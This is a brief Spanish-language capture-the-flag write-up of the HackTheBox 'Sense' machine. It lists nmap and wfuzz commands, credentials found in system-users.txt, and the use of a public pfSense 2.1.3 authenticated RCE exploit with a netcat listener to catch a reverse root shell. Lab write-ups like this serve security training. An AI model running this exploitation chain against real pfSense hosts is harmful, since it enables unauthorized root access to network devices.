HackTheBox Easy FreeBSD pfSense Web Fuzzing RCE

Sense

Fuzzing web encuentra system-users.txt con credenciales; pfSense 2.1.3 vulnerable a RCE autenticado directo a root.

cat4clysm
Herramientas utilizadas
nmap wfuzz searchsploit netcat

Scanning

root@kali:~$
nmap -sC -sV -n -Pn -p443,80 10.10.10.60 -oN targeted
nmap scan

Enumeracion Web - pfSense

root@kali:~$
wfuzz -c --hc 403,404 -t 300 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -w extensions.txt https://10.10.10.60/FUZZFUZ2Z
wfuzz

Encontramos changelog.txt y system-users.txt:

changelog system-users
username: rohit
password: pfsense

Explotacion - pfSense RCE

root@kali:~$
searchsploit pfsense
searchsploit
root@kali:~$
searchsploit -m php/webapps/43560.py
python3 43560.py --rhost 10.10.10.60 --lhost 10.10.14.5 --lport 4444 --username rohit --password pfsense
nc -lvp 4444
root shell
cat /home/rohit/user.txt
cat /root/root.txt

Lecciones aprendidas